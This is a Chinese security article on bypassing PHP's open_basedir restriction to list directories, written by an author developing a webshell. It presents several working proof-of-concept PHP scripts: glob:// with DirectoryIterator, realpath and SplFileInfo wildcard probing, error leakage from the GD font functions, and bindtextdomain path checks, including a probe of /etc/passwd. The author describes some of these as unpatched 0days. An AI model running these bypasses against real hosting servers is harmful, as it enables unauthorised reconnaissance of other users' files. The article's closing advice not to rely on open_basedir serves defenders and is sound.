跳跳糖
0x00 前言
近期由于在开发自己的webshell，所以对PHP一些已有的漏洞进行了一定的研究，并且也自己发现了部分PHP存在的安全隐患。这篇文章我来与大家分享一下自己对于PHP中open_basedir绕过并列举目录的方法总结。
0x01 open_basedir的简介
Open_basedir是PHP设置中为了防御PHP跨目录进行文件（目录）读写的方法，所有PHP中有关文件读、写的函数都会经过open_basedir的检查。
Open_basedir实际上是一些目录的集合，在定义了open_basedir以后，php可以读写的文件、目录都将被限制在这些目录中。
设置open_basedir的方法，在linux下，不同的目录由“:”分割，如“/var/www/:/tmp/”；在Windows下不同目录由“;”分割，如“c:/www;c:/windows/temp”。
在现在这个各种云、虚拟主机横行的时期，人们希望open_basedir作为一个横亘在不同用户之间的屏障，有力地保障用户的主机能独立运行，但事实并非人们想象的那么简单。
我们这篇文章着重讲的将是绕过open_basedir进行目录的列举与遍历，为何我们不说具体文件的读、写，因为文件读写的洞是危害比较大的漏洞了，在php5.3以后很少有能够绕过open_basedir读写文件的方法。
0x02 利用DirectoryIterator + Glob 直接列举目录
这是@/fd 脚本（http://zone.wooyun.org/content/11268）里给出的第一个方法。
DirectoryIterator 是php5中增加的一个类，为用户提供一个简单的查看目录的接口（The DirectoryIterator class provides a simple interface for viewing the contents of filesystem directories）。
glob: 数据流包装器是从 PHP 5.3.0 起开始有效的，用来查找匹配的文件路径。
结合这两个方式，我们就可以在php5.3以后对目录进行列举。在实测中，我们得知，此方法在Linux下列举目录居然可以无视open_basedir。
示例代码：
<?php
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}
?>
执行我们可以发现，open_basedir为/usr/share/nginx/www/:/tmp/，但我们成功列举了/根目录下的所有文件：
这个方法也是迄今为止最方便的方法，他不用暴力猜解目录，而是直接列举。但他对php版本、系统版本有一定要求，在5.3以上可列举（5.5/5.6可能会有修复？在官方没看到有fix），需要在Linux下才能绕过open_basedir。
0x03 realpath列举目录
这是@/fd 脚本（http://zone.wooyun.org/content/11268）里给出的第二个方法。
Realpath函数是php中将一个路径规范化成为绝对路径的方法，它可以去掉多余的../或./等跳转字符，能将相对路径转换成绝对路径。
在开启了open_basedir以后，这个函数有个特点：当我们传入的路径是一个不存在的文件（目录）时，它将返回false；当我们传入一个不在open_basedir里的文件（目录）时，他将抛出错误（File is not within the allowed path(s)）。
所以我们可以通过这个特点，来进行目录的猜解。举个例子，我们需要猜解根目录（不在open_basedir中）下的所有文件，只用写一个捕捉php错误的函数err_handle()。当猜解某个存在的文件时，会因抛出错误而进入err_handle()，当猜解某个不存在的文件时，将不会进入err_handle()。
那么由此我们来算算效率。假如一个文件名长度为6位（如config、passwd等全小写不带数字）的文件，我们最差需要枚举多少次才能猜测到他是否存在：
26 ** 6 = 308915776次
这样是需要跑很久的，基本每次跑的时候我都没耐心了，这样暴力猜解肯定是不行的。那么，有什么好办法可以变这个“鸡肋”的漏洞为一个“好用”的漏洞？
熟悉Windows + PHP的同学应该还记得Windows下有两个特殊的通配符：<、>
对，我们这里就借用这些通配符的力量来列举目录。写个简单的POC来列举一下：
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/test/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) {
$file = $dir . $chars[$i] . '<><';
realpath($file);
}
function isexists($errno, $errstr)
{
$regexp = '/File\((.*)\) is not within/';
preg_match($regexp, $errstr, $matches);
if (isset($matches[1])) {
printf("%s <br/>", $matches[1]);
}
}
?>
首先设置open_basedir为当前目录，并枚举d:/test/目录下的所有文件。将错误处理交给isexists函数，在isexists函数中匹配出目录名称，并打印出来。
执行可以看到：
Open_basedir为c:\wamp\www，但我们列举出了d:/test/目录下的文件：
当然，这是个很粗糙的POC，因为我并没有考虑到首字母相同的文件，所以这个POC只能列举首字母不同的文件。
如果首字母相同，我们只需要再枚举第二个字符、第三个字符依次类推，即可列举出目录中所有文件。
这个方法好处是windows下php所有版本通用，当然坏处就是只有windows下才能使用通配符，如果是linux下就只能暴力猜解了。
0x04 SplFileInfo::getRealPath列举目录
受到上一个方法的启发，我开始在php中寻找类似的方法。一旦realpath不能使用的情况下，也能找到替代方式。
我找到了新方法：WooYun: php设计缺陷导致绕过open_basedir列举目录#1，使用的方式是SplFileInfo::getRealPath。
SplFileInfo类是PHP5.1.2之后引入的一个类，提供一个对文件进行操作的接口。其中有一个和realpath名字很像的方法叫getRealPath。
这个方法功能和realpath类似，都是获取绝对路径用的。我们在SplFileInfo的构造函数中传入文件相对路径，并且调用getRealPath即可获取文件的绝对路径。
这个方法有个特点：完全没有考虑open_basedir。在传入的路径为一个不存在的路径时，会返回false；在传入的路径为一个存在的路径时，会正常返回绝对路径。
我们的realpath函数还是考虑了open_basedir，只是在报错上没有考虑周全导致我们能够判断某个文件是否存在。但我们可爱的SplFileInfo::getRealPath方法是直接没有考虑open_basedir，就能够判断一个文件是否存在。
那么，我给出一个POC：
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
$basedir = 'D:/test/';
$arr = array();
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($i=0; $i < strlen($chars); $i++) {
$info = new SplFileInfo($basedir . $chars[$i] . '<><');
$re = $info->getRealPath();
if ($re) {
dump($re);
}
}
function dump($s){
echo $s . '<br/>';
ob_flush();
flush();
}
?>
只是把之前的POC稍作修改，同样列出了D:/test下的文件：
这个方法有个特点，不管是否开启open_basedir都是可以枚举任意目录的。而上一个方法（realpath）只有在开启open_basedir且在open_basedir外的时候才会报错，才能列举目录。当然，没有开启open_basedir的时候也不需要这样列举目录了。
0x05 GD库imageftbbox/imagefttext列举目录
GD库一般是PHP必备的扩展库之一，所以我在寻找open_basedir的时候也会看看这些有用的扩展库。
这是新方法：WooYun: php设计缺陷导致绕过open_basedir列举目录之3
我拿imageftbbox举个例子，这个函数第三个参数是字体的路径。我发现当这个参数在open_basedir外的时候，当文件存在，则php会抛出“File(xxxxx) is not within the allowed path(s)”错误。但当文件不存在的时候会抛出“Invalid font filename”错误。
也就是说，我们可以通过抛出错误的具体内容来判断一个文件是否存在。这个方法和realpath有相似性，都会抛出open_basedir的错误。
我也修改了个简单的POC：
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/test/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) {
$file = $dir . $chars[$i] . '<><';
//$m = imagecreatefrompng("zip.png");
//imagefttext($m, 100, 0, 10, 20, 0xffffff, $file, 'aaa');
imageftbbox(100, 100, $file, 'aaa');
}
function isexists($errno, $errstr)
{
global $file;
if (stripos($errstr, 'Invalid font filename') === FALSE) {
printf("%s<br/>", $file);
}
}
?>
同样列举一下d:/test
如上图，我们发现虽然“通配符”在判断是否存在的时候奏效了，但我们真正的文件名并没有显示出来，而是还是以通配符“<><”代替。
所以，这个方法报错的时候并不会把真正的路径爆出来，这也是其与realpath的最大不同之处。所以，我们只能一位一位地猜测，但总体来说，还是能够猜测出来的，只不过可能比realpath更麻烦一些罢了。
0x06 bindtextdomain暴力猜解目录
这是新方法：WooYun: php设计缺陷导致绕过open_basedir列举目录#2
bindtextdomain是php下绑定domain到某个目录的函数。具体这个domain是什么我也没具体用过，只是在一些l10n应用中可能用到的方法（相关函数textdomain、gettext、setlocale，说明：http://php.net/manual/en/function.gettext.php）
Bindtextdomain函数在环境支持Gettext Functions的时候才能使用，而我的windows环境下是没有bindtextdomain函数的，我的linux环境是默认存在这个函数。
如上图，这个函数第二个参数$directory是一个文件路径。它会在$directory存在的时候返回$directory，不存在则返回false。
写个简单的测试代码：
<?php
printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));
$re = bindtextdomain('xxx', $_GET['dir']);
var_dump($re);
?>
当/etc/passwd存在的时候输出之：
当/etc/wooyun不存在的时候返回false：
并没有考虑到open_basedir。所以，我们也可以通过返回值的不同来猜解、列举某个目录。
但很大的鸡肋点在，windows下默认是没有这个函数的，而在linux下不能使用通配符进行目录的猜解，所以显得很鸡肋。
当然，在万无退路的时候进行暴力猜解目录，也不失为一个还算行的方法。
0x07 总结
open_basedir本来作为php限制跨目录读写文件的最基础的方式，应该需要进行完好的设计。但可能php在当初编写代码的时候并没有进行一个统一的设计，导致每当新增加功能或遇到一些偏僻的函数的时候，都会出现类似“open_basedir绕过”等悲剧。
我曾经写过一篇文章，《lnmp虚拟主机安全配置研究》，中讲述了一个防止虚拟主机跨目录的方法。但受到了一些白帽子的质疑：
原因是很多人过于相信open_basedir的可靠性。open_basedir固然是一个简单地限制跨目录的方法，但如果过于依赖某一个方法去防御一类攻击，你将会死的很惨。
open_basedir绕过方法固然有版本局限，但不排除有很多人手中握着0day。像我这样对php造诣并不算高的菜鸟也能找到的open_basedir绕过漏洞，你真的能保证大牛们都没有办法绕过么？
我当然更能相信linux/windows等操作系统自带的权限控制机制，也不会单单相信open_basedir真的能帮我防御什么。
By the way，我上面提到的这些方法，基本都还没有在php的最新版修复（甚至是我自己发现的“0day”），也就是说还真的有这么多通用的方法可以绕过open_basedir。
估计又会有人质疑了，光绕过open_basedir列目录有什么用？
诚然，列目录相比于读、写具体文件，都鸡肋了很多。但很多时候，就是这些看似“鸡肋”的漏洞组合技完成了绝杀。
